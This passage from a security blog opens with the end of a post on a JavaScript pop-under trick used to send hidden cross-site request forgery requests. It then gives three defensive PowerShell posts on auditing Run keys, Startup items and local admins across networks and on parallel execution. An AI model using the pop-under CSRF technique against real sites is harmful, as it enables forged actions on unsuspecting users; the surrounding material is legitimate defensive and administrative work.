alert("lol you got a pop-under!");
setTimeout(function(){myWindow1.close()},3000);
}
</script>

User clicks somewhere in the malicious page, a pop-up is created, alert triggers and keeps focus on malicious window, the pop-up effectively becomes a pop-under, request is sent in pop-under, malicious page closes pop-under.



In the screenshot you can see the pop-under on the left, of course this could be a lot smaller and positioned behind the existing window (the smaller arrow points to Bugcrowd :D).


Final Thoughts

This post was a bit of a random journey through browser restrictions and javascript, I hope I didn't lose you guys along the way :) It was interesting to see that even in 2014 a lot of tricks can still be performed with iframes, XHR, new windows, pop-unders and alert boxes. Each has it's pros and cons. XSS/CSRF is nothing new, pretty much everything I showed above could have easily been prevented if the server used output encoding+CSRF tokens+X-Frame-Options.

Although I didn't mention it earlier same origin policy was a pain in the ass and techniques like blur() and focus() wouldn't work for me. Something to bear in mind if you want to do some testing of your own.

Hope you've enjoyed reading, comments and suggestions for improvements are appreciated :)


Pwndizzle out

Monday, 27 January 2014

Powershell: Retrieve Run Keys, Startup items, Local Admins

In this post I'll talk about retrieving run keys, start menu items and local admins with Powershell.

Note: Scripts below have been created/tested for Win7. Modifications will be needed for XP!


Listing Run Keys

There are many many registry locations that can be used to auto-run software on system start-up. I decided to start with two of the most common:

- \HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- \HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

In this script I enumerate the run keys for the local machine and each user. I've used a notmatch filter to remove the noise from known good registry keys. Also at the start of the script you'll notice the threading function that I mentioned in my last Powershell blog post. It is possible to use StartupCommand to grab run keys but this doesn't actually cover all possible auto-run locations and I wanted to provide a more generic registry key enumeration example that you guys can adapt.

To use, just create a text file with a list of machine names and point the $Computers variable at it. Start with a small number of machines and gradually add known good keys to the exclusions list, if the path contains a curved bracket or forward slash you need to escape it with a \.

#Threading function
function ForEach-Parallel {
    param(
        [Parameter(Mandatory=$true,position=0)]
        [System.Management.Automation.ScriptBlock] $ScriptBlock,
        [Parameter(Mandatory=$true,ValueFromPipeline=$true)]
        [PSObject]$InputObject,
        [Parameter(Mandatory=$false)]
        [int]$MaxThreads=5
    )
    BEGIN {
        $iss = [system.management.automation.runspaces.initialsessionstate]::CreateDefault()
        $pool = [Runspacefactory]::CreateRunspacePool(1, $maxthreads, $iss, $host)
        $pool.open()
        $threads = @()
        $ScriptBlock = $ExecutionContext.InvokeCommand.NewScriptBlock("param(`$_)`r`n" + $Scriptblock.ToString())
    }
    PROCESS {
        $powershell = [powershell]::Create().addscript($scriptblock).addargument($InputObject)
        $powershell.runspacepool=$pool
        $threads+= @{
            instance = $powershell
            handle = $powershell.begininvoke()
        }
    }

    END {
        $notdone = $true
        while ($notdone) {
            $notdone = $false
            for ($i=0; $i -lt $threads.count; $i++) {
                $thread = $threads[$i]
                if ($thread) {
                    if ($thread.handle.iscompleted) {
                        $thread.instance.endinvoke($thread.handle)
                        $thread.instance.dispose()
                        $threads[$i] = $null
                    }
                    else {

                        $notdone = $true
                    }
                }
            }
        }
    }
}
#End of threading function!

$ErrorActionPreference = "Stop";
$start = Get-Date
$Computers = Get-Content c:\temp\machines.txt
$Computers |ForEach-Parallel -MaxThreads 100{
 try{
  if(Test-Path \\$_\C$ -ErrorAction silentlycontinue){
   #List run keys for all users on machine
   $Srv=$_
   $key = ""
   $type = [Microsoft.Win32.RegistryHive]::Users
   $regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey($type, $Srv)
   $regKey = $regKey.OpenSubKey($key)
   Foreach($sub in $regKey.GetSubKeyNames()|where {$_ -notmatch "Classes"}|where {$_.length -gt 9}){
    $key = $sub + "\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
    $regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey($type, $Srv)
    $regKey = $regKey.OpenSubKey($key)
    Foreach($val in $regKey.GetValueNames()){
       $Srv + " - Users - Name: " + $val + " Data: " + $regKey.GetValue("$val")|where {$_ -notmatch "C:\\Program Files \(x86\)\\Microsoft Office\\Office14\\MSOSYNC.EXE|C:\\Windows\\system32\\StikyNot.exe|C:\\Program Files\\Windows Sidebar\\sidebar.exe|C:\\Program Files \(x86\)\\Skype\\Phone\\Skype.exe|C:\\Program Files \(x86\)\\Google\\Chrome\\Application\\chrome.exe|C:\\PROGRA~2\\Yahoo!\\Messenger\\YahooMessenger.exe|\\AppData\\Local\\Google\\Update\\GoogleUpdate.exe|\\AppData\\Roaming\\Google\\Google Talk\\googletalk.exe"}
    }
   }
   #List run keys for local machine
   $key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
   $type = [Microsoft.Win32.RegistryHive]::LocalMachine
   $regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey($type, $Srv)
   $regKey = $regKey.OpenSubKey($key)
   Foreach($val in $regKey.GetValueNames()){
      $Srv + " - LocalMachine - Name: " + $val + " Data: " + $regKey.GetValue("$val")|where {$_ -notmatch "C:\\Windows\\system32\\hkcmd.exe|C:\\Windows\\system32\\igfxtray.exe|C:\\Windows\\system32\\igfxpers.exe|C:\\Program Files\\Realtek\\Audio\\HDA\\RAVCpl64.exe|C:\\Program Files\\Synaptics\\SynTP\\SynTPEnh.exe|C:\\Program Files \(x86\)\\HP\\Digital Imaging\\Fax\\Fax Driver 0.6 Base\\hppfaxprintersrv.exe"}
   }
  } else{
   $_ + " - Machine not accessible"
  }
 }
 Catch{
  "Caught an exception!"
 }
}
$end = Get-Date
"Time taken: " + (New-Timespan $start $end).seconds + " seconds"



Startup Folder Items

The startup folder is an oldy but still a goody for malware. I found relatively few entries in this location so it's probably dead easy for most people to spot anything suspicious here.

The script will first retrieve the names of user folders present in C:\Users then retrieve the startup values for each profile. I've omitted the threading function in the script below you will need to copy and paste it from above for the script to work!!! Also you will need to point $Computers to your text file containing hostnames.

#Insert threading function here!
$ErrorActionPreference = "Stop";
$start = Get-Date
$Computers = Get-Content c:\temp\machines.txt
$Computers |ForEach-Parallel -MaxThreads 100{
 try{
  if(Test-Path \\$_\C$ -ErrorAction silentlycontinue){
   #Retrieve usernames from machine
   $Srv = $_
   $Users = Get-ChildItem \\$Srv\C$\Users -force | Where-Object {$_.mode -match "d"} | foreach { $_.Name } | where {$_ -notmatch "Search|Public"}
   #For each user retrieve Startup items
   ForEach ($User in $Users){
   Get-ChildItem -Force "\\$Srv\C$\Users\$User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" -name | where {$_ -notmatch "desktop.ini|Dropbox.lnk"} | foreach {"$Srv - $User - " + $_}
   }
  } else{
   $_ + " - Machine not accessible"
  }
 }
 Catch{
  "Caught an exception!"
 }

}
$end = Get-Date
"Time taken: " + (New-Timespan $start $end).seconds + " seconds"



Local Admins

Whether you're using XP or Windows7 giving your users local admin privileges is not a good idea as most of the time they don't need the access to do their jobs. But whether you lock things down or not, it can be useful to know what admin accounts currently exist on your systems.

In the script I used invoke-command inside the threading code, I found this sped things up and made error handling easier. Invoke-command simply ran "net localgroup administrators" and then I filter the results. To run the code below you will need to add the threading function from the first example to the start and also update $Computers.

#Insert threading function here!
$ErrorActionPreference = "Stop";
$start = Get-Date
$Computers = Get-Content c:\temp\test.txt
$Computers |ForEach-Parallel -MaxThreads 100{
 try{
  if(Test-Path \\$_\C$ -ErrorAction silentlycontinue){
   $Srv = $_
   Invoke-Command -ComputerName $Srv -ScriptBlock { net localgroup Administrators } | where {$_ -ne ""} | where {$_ -notmatch "Alias Name|Administrators have complete|Members|--------|knownaccount1|The command completed"} | foreach {"$Srv - " + $_}

  } else{
   $_ + " - Machine not accessible"
  }
 }
 Catch{
  "Caught an exception!"
 }
}
$end = Get-Date
"Time taken: " + (New-Timespan $start $end).seconds + " seconds"

For something a bit more formal check the post here. Also I did play around with WMI but it kept hanging on some machines and WMI in Powershell has no timeout parameter by default. In case you're curious try:

gwmi win32_groupuser -computer $_ | ? groupcomponent -match 'administrators' |% {$_.partcomponent} | where {$_ -match "UserAccount"} | where {$_ -notmatch "known1|known2"}



Final Thoughts

Whether for incident response, active defense or monitoring Powershell can be one of the most useful tools in your security toolbox. As is usually the case I tried Googling for these scripts, couldn't find something I liked, so wrote my own. The scripts could definitely be improved or even combined. For more scripts check out the Microsoft repository here.

I also wanted to plug PoshSec again (https://github.com/PoshSec/PoshSecFramework) as it just looked so good, although I've yet to play with it myself. And again thanks to Tome for his threading code.

Hope you guys have found this post useful. Comments/questions always appreciated.

Friday, 20 December 2013

Powershell: Threading

Having recently got my head around basic Powershell I wanted to share some of the lessons I'd learnt. In this first post I'll talk about Powershell threading and performing tasks on an enterprise scale.


Getting Started

I'm not going to cover how to install and setup Powershell/WinRM. There are a lot of good posts out there already, for example:

http://blog.powershell.no/2010/03/04/enable-and-configure-windows-powershell-remoting-using-group-policy/

In a nutshell, you need to create a GPO to enable the WinRM service or if you want to test locally, just start the WinRM (Windows Remote Management) service. To run commands you'll need to have Powershell installed (Powershell 2.0 is included with Win7 by default), i'd recommend updating to Powershell 3.


Scaling up your Powershell

When running a script across thousands of machines I found three factors significantly affected the total run time. The first was how well I could get the tasks to run in parallel, the second was the efficiency of my code and the third was how much work I could offload to remote machines.

Efficiently running tasks in parallel was the biggest issue so in this post I'll cover the main parallel/off-loading techniques:
  • Invoke-Command
  • Jobs
  • Runspace Pooling
But first I wanted to briefly mention efficient coding.


Creating efficient scripts

In every language efficient coding can significantly affect the speed of and resources used by your scripts. This is particularly important when trying to scale a script across many machines as any inefficiencies are magnified.

I found the following helped improve my Powershell code performance:
  • Using Powershell built-in functions (cmdlets) wherever possible 
  • Using piping as much as possible
  • Minimizing creation/usage of new variables/files/objects
  • Avoiding searching or iterating over large data sets
  • Performing operations in parallel
For example to count the occurrences of a string in a 2MB text file, you don't want to do something crazy like this:

$i=0;Get-Content c:\temp\test.txt|ForEach {if($_ -eq 123){$i++}};Write-host $i

During testing the above took 8 seconds. The following code is cleaner but still took 7 seconds:

(Get-Content c:\temp\test.txt |Where {$_ -match "123"}| Measure-Object -Line).Lines

In this instance, the fastest way to search is by using Select-String, which in testing took less than a second! Using a single cmdlet and it's built-in parameters made this the most efficient option.

@(Select-String -Path c:\temp\test.txt -pattern 123).count

So how can we execute this in parallel across thousands of machines?


Invoke-Command

Invoke-command offers a simple way to execute commands on multiple remote machines in parallel.

http://technet.microsoft.com/en-us/library/hh849719.aspx

The SANS blog and Technet links below give some great explanations about why it's useful:

http://computer-forensics.sans.org/blog/2013/09/03/the-power-of-powershell-remoting

http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/23/an-introduction-to-powershell-remoting-part-one.aspx

I found Invoke-Command an ok option for simple one off commands but unsuitable for more complex interactive scripts. By design you provide code to be executed on the remote machine and once complete you are given the result. I couldn't find a way to perform interactive actions or easily get/push data (see double-hop problem). I also couldn't find a clean way to handle errors for non-accessible/offline machines (suggestions are welcome!).

As an example here's a script to check the status of a service on multiple machines:

Invoke-Command –ComputerName (Get-Content "C:\Temp\computers.txt") –ScriptBlock {Get-Service -Name WPCSvc} -ThrottleLimit 50 -ErrorAction continue

Unsatisfied with Invoke-Command I decided to look for alternative techniques.


Powershell Jobs

When you Google Powershell and threading everyone tells you to use Jobs as they are Powershell's answer to threads. So that's what I did, using the script at the link below I implemented a job creating function, a job management function and set my script going.

http://webcache.googleusercontent.com/search?q=cache:yFjkpkw8lT4J:www.get-blog.com/%3Fp%3D22

Something like this:

$MaxThreads = 20
$SleepTimer = 1000
$Computers = Get-Content "C:\Temp\computers.txt"

ForEach ($Computer in $Computers){
    While (@(Get-Job -state running).count -ge $MaxThreads){      
    Start-Sleep -Milliseconds $SleepTimer
    }

    Start-Job -scriptblock {
        if(Test-Path \\$($args[0])\C$ -ErrorAction silentlycontinue){
            #Do something
        } else{
            "Machine not accessible"
        }
    } -ArgumentList $Computer -Name "$($Computer)job" | Out-Null
}

While (@(Get-Job -State Running).count -gt 0){
    Start-Sleep -Milliseconds $SleepTimer
}

ForEach($Job in Get-Job){
    Receive-Job -Job $Job
    Remove-job -Force $Job
}

The positive with this script is that you can use -ComputerName remote execution and GetWMIObject instead of Invoke-Command to run commands interactively and in parallel. The negative is that it took a long long time to run. I'm not sure whether Powershell has a cap on the number of concurrent jobs or whether jobs are just inefficient. Either way jobs were slow. So I went back to Google.


Runspace pooling to the rescue!

After wading through all of the Jobs posts I finally got to a technique called runspace pooling. By calling CreateRunspacePool it is possible to create multiple runspaces pools which effectively work as threads.

http://msdn.microsoft.com/en-us/library/system.management.automation.runspaces.runspacefactory.createrunspacepool(v=vs.85).aspx

With one pool per host and all of the pools operating simultaneously the script was very fast. It's possible to include your own runspace code within your script but I found the simpler solution was to use Tome Tanasovski's threading function. I'd recommend checking out his post here for the full story and script:

http://powertoe.wordpress.com/2012/05/03/foreach-parallel/

Using Tome's runspace pooling code I found it easy to create scripts that ran quickly, didn't encounter double-hop problems and handled errors as expected.


Putting Powershell Threading to Work

To give a quick example, I created a script below that will check the status of a service and if it's disabled it will enable it:

$computer = "testhost"
$myservice = Get-Service -computerName $computer -Name "WPCSvc"| Where-Object {$_.status -eq "Stopped"}
if($myservice){
 "Service is stopped. Starting now!"
 Set-Service WPCSvc -startuptype "Automatic" -computerName $computer 
 Start-Service -inputobject $myservice
 "Service started!"
}

I've used the Get-Service cmdlet to first get the status of a specific service. If the service was stopped I'd set the start type to automatic and start the service.

So that's for one machine, if we want to run this on thousands of machines we just need to combine the code with Tome's runspace script:

function ForEach-Parallel {
    param(
        [Parameter(Mandatory=$true,position=0)]
        [System.Management.Automation.ScriptBlock] $ScriptBlock,
        [Parameter(Mandatory=$true,ValueFromPipeline=$true)]
        [PSObject]$InputObject,
        [Parameter(Mandatory=$false)]
        [int]$MaxThreads=5
    )
    BEGIN {
        $iss = [system.management.automation.runspaces.initialsessionstate]::CreateDefault()
        $pool = [Runspacefactory]::CreateRunspacePool(1, $maxthreads, $iss, $host)
        $pool.open()
        $threads = @()
        $ScriptBlock = $ExecutionContext.InvokeCommand.NewScriptBlock("param(`$_)`r`n" + $Scriptblock.ToString())
    }
    PROCESS {
        $powershell = [powershell]::Create().addscript($scriptblock).addargument($InputObject)
        $powershell.runspacepool=$pool
        $threads+= @{
            instance = $powershell
            handle = $powershell.begininvoke()
        }
    }
    END {
        $notdone = $true
        while ($notdone) {
            $notdone = $false
            for ($i=0; $i -lt $threads.count; $i++) {
                $thread = $threads[$i]
                if ($thread) {
                    if ($thread.handle.iscompleted) {
                        $thread.instance.endinvoke($thread.handle)
                        $thread.instance.dispose()
                        $threads[$i] = $null
                    }
                    else {
                        $notdone = $true
                    }
                }
            }
        }
    }
}

$ErrorActionPreference = "Stop";

$ComputerList = $(Read-Host "Enter the Location of the computerlist")
$Computers = Get-Content $ComputerList
$Computers |ForEach-Parallel -MaxThreads 100{
 try{
  if(Test-Path \\$_\C$ -ErrorAction silentlycontinue){
   $test = Get-Service -computerName $_ -Name "WPCSvc"| Where-Object {$_.status -eq "Stopped"}
   if($test){
    "Service stopped on: " + $_
    Set-Service WPCSvc -startuptype "Automatic" -computerName $_ 
    Start-Service -inputobject $test
    "Service started on: " + $_
   }
  } else{
   $_ + " - Machine not accessible"
  }
 }
 Catch{
   "Caught an exception!"
 }
}

At first glance it might seem confusing but its dead simple. The whole first section is Tome's script and will handle the threading. My code starts with reading in a list of computers from text file. Then we pipe those machines to Tome's function "ForEach-Parallel". In the following section I've put the code that will execute in each runspace.

I've used the same Get-Service, Set-Service, Start-Service cmdlets as in my first example, this time round though I added a check to see if the machine was accessible using Test-Path and also error handling with a try/catch.


Final Thoughts

Threading is one of the most important features of any language and I was surprised how poorly it was implemented in Powershell. Being new to Powershell definitely didn't help but also the information online was pretty poor, no one really covered all of the techniques in one place or explained which was better.

Personally I found runspace pooling the fastest, the cleanest and easiest to use. Although Tome's script is a little bulky it makes threading simple. I would love to hear other people opinions on what worked best for them.

I'll hopefully be adding some more Powershell blog posts in the future. For more security orientated Powershell definitely check out PoshSec and Posh-SecMod

Pwndizzle out.